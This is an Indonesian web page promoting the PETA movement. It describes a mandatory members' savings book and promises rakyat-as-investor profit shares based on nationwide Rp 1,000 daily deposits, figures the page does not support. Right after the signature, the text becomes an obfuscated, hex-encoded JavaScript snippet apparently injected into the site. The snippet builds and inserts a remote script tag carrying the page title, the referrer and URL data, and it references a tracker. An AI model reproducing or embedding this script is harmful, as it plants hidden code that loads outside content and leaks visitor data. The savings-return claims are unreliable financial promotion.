Kenapa Harus Memilih PETA?

PETA Adalah PEMBELA TANAH AIR SATU KOMANDOAi??Mayor (Purn) TNI AD KRMH. Muhammad Saleh. KR. SILA, SR. YM.

Visi :
Menjamin pelaksanaan Pasal 33 ayat 1, 2 dan 3 UUD 1945
dan Pancasila Sila ke 5

Misi :
1. Negara mengelola kekayaan alam demi kesejahteraan,
keadilan dan kemakmuran seluruh warga negara Indonesia.
2. Membangun ekonomi Negara dengan sistem Koperasi.
3. Membangun SDM secara terus menerus.
4. Mencetak kader pemimpin baik lokal, nasional dan bahkan
internasional yang berjiwa Pancasilais
5. Menjaga dan melestarikan budaya sesuai karakter atau
adat istiadat wilayah masing-masing.

PETA adalah Gerakan Kebangsaan dan Kemanusiaan yang tidak berafiliasi dengan organisasi, atau lembaga manapun baik ormas, LSM maupun partai.

Dalam hal ikut mencerdaskan kehidupan bangsa,maka sebagai gerakan PETA kini mulai memiliki buku tabungan yang dibangun komunitas komunitas relawan Pembela Tanah Air (PETA), disertai memiliki Kartu Tanda Anggota (KTA) Peta yang wajib diikuti setiap pejuang Peta yang ada diseluruh Indonesia baik dalam maupun di luar negeri sebagai modal awal menuju kejayaan sebuah bangsa yaitu Bangsa Indonesia Raya.

Buku tabungan Peta wajib dimiliki oleh setiap pejuang Pembela Tanah Air (PETA) sebagai bukti surat berharga dari rakyat.

Setiap nominal yang ada di dalam buku tabungan ini, Ai??adalah modal awal rakyat Indonesia sebagai investor di negeri ini.

Unit usaha PETA adalah sebuah wadah yang harus dibangun di mulai dari tiap tiap Desa/ Kelurahan dan mengelola sendiri keuangannya. Unit usaha Peta dikelola dari rakyat, oleh rakyat dan hasilnya dikembalikan untuk rakyat.

Setiap unit-unit usaha Peta harus konek dan terhubung ke sesama unit usaha Peta lainnya yang berada di seluruh Indonesia sehingga menjadi unit usaha yang saling membutuhkan dan menguntungkan.

“SAATNYA RAKYAT DILIBATKAN SEBAGAI INVESTOR DALAM MENGELOLA KEKAYAAN ALAM BANGSA SENDIRIai???

Kenapa PETA lebih memilih unit-unit usaha dimulai dari rakyat sebagai awal Revolusi Ekonomi?

Karena PETA akan menjadikan rakyat sebagai investor, bukan dari pinjaman dalam atau luar negeri. Bayangkan jika seluruh rakyat Indonesia jadi investor ala PETA, maka 20% keuntungan akan di bagi rata keseluruh rakyat indonesia dan 60% akan dibagikan sesuai dengan nilai nominal tabungan maka tidak ada lagi rakyat miskin mati kelaparan dan dapat memperoleh pendidikan hingga perguruan tinggi.

ILUSTRASI 1 :

ai??? Jika setiap hari rakyat menabung minimal Rp 1.000 x Jumlah penduduk Indonesia misalkan 250 juta, mulai dari bayi sampai usia lanjut (Tabungan sang bayi adalah tanggung jawab orang tua atau kakaknya yang sudah bekerja).

ai??? Tabungan harian Ai?? jumlah penduduk = Rp. 1.000 x 250 juta penduduk = 250 Miliar perhari.
Berarti setiap hari bisa membangun pabrik misalnya pabrik air, saus, sandal , dll dalam bentuk home industri dan dapat pula membangun rumah rumah sakit dan sekolah sampai ke pelosok desa.

ai??? Keuntungan bersih koperasi 60% di kembalikan ke rakyat dalam bentuk SHU setiap bulannya. Bagaimana jika tabungan rakyat sampai 1 tahun atau lebih ? Silahkan hitung sendiri.

ILUSTRASI : 2

ai??? Apabila setiap 1 orang /hari menabung Rp 1000 x 30 hari = Rp 30.000 x 200 juta Jumlah penduduk Indonesia = Rp 6 Trilyun, maka rakyat sudah bisa investasi dengan mengelola hasil tambang batubara, minyak, perkebunan dan sebagainya yang hasilnya 60% keuntungan akan dikembalikan dalam bentuk SHU /bulannya kepada seluruh rakyat Indonesia sebagai investor tersebut.

ttd

Panglima Besar PETA 72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *